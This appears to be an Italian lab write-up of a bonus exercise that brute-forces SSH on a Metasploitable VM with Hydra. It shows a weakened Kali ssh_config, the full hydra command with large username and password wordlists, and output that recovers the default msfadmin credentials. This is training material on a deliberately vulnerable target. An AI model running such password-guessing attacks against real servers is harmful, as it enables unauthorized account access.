

# Bonus

Come bonus dovevamo provare a lanciare il cracking di hydra sulla porta ssh di Metasploitable.

Per renderlo possibile ho dovuto modificare il file ssh\_config di kali.

```
kali@kali: /etc/ssh
File Actions Edit View Help
GNU nano 8.2 ssh_config
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.

# Site-wide defaults for some commonly used options. For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.
# File System      Shell(PuTTY)
Include /etc/ssh/ssh_config.d/*.conf

Host *
# ForwardAgent no
# ForwardX11 no
# ForwardX11Trusted yes
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
# GSSAPIDelegateCredentials no
# GSSAPIKeyExchange no
# GSSAPITrustDNS no
# BatchMode no
# CheckHostIP no
# AddressFamily any
# ConnectTimeout 0
# StrictHostKeyChecking ask
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,umac-64@openssh.com
# EscapeChar ~
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
# SendEnv LANG LC_*
# HashKnownHosts yes
# GSSAPIAuthentication yes
Host 192.168.30.2
  HostKeyAlgorithms +ssh-rsa
  KexAlgorithms +ssh-rsa
  MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
```

Aggiungendo Host 192.168.30.2 → ip metasploitable

HostKeyAlgorithm → ssh-rsa ovvero quello che utilizza meta

MACs → **Message Authentication Codes** (codici di autenticazione dei messaggi) con gli algoritmi utilizzati da metasploitable.

Inizialmente senza MACs ricevevo questo errore.

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 17:02:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295473590914 login tries (1:8295457/p:10000002), ~2073868397729 tries per task
[DATA] attacking ssh://192.168.30.2:22/
[ERROR] could not connect to ssh://192.168.30.2:22 - kex error : no match for method mac algo client→server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]
```

Lancio il seguente comando:

```
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.30.2 -V -T 4 ssh
```

```
kali@kali)-[/etc/ssh]
$ sudo nano ssh_config

kali@kali)-[/etc/ssh]
$ hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.30.2 -V -T4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 18:08:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295473590914 login tries (l:8295457/p:1000002), ~2073868397729 tries per task
[DATA] attacking ssh://192.168.30.2:22/
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "123456" - 1 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "password" - 2 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "12345678" - 3 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "qwerty" - 4 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "123456789" - 5 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "12345" - 6 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "1234" - 7 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "111111" - 8 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "1234567" - 9 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "dragon" - 10 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "123123" - 11 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "testpass" - 12 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "baseball" - 13 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "abc123" - 14 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "football" - 15 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "monkey" - 16 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "letmein" - 17 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "696969" - 18 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "shadow" - 19 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.30.2 - login "msfadmin" - pass "msfadmin" - 20 of 8295473590914 [child 3] (0/0)
[22][ssh] host: 192.168.30.2 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.30.2 - login "test_user" - pass "123456" - 1000003 of 8295473590914 [child 3] (0/0)
^C[ERROR] Can not create restore file (./hydra.restore) - Permission denied
```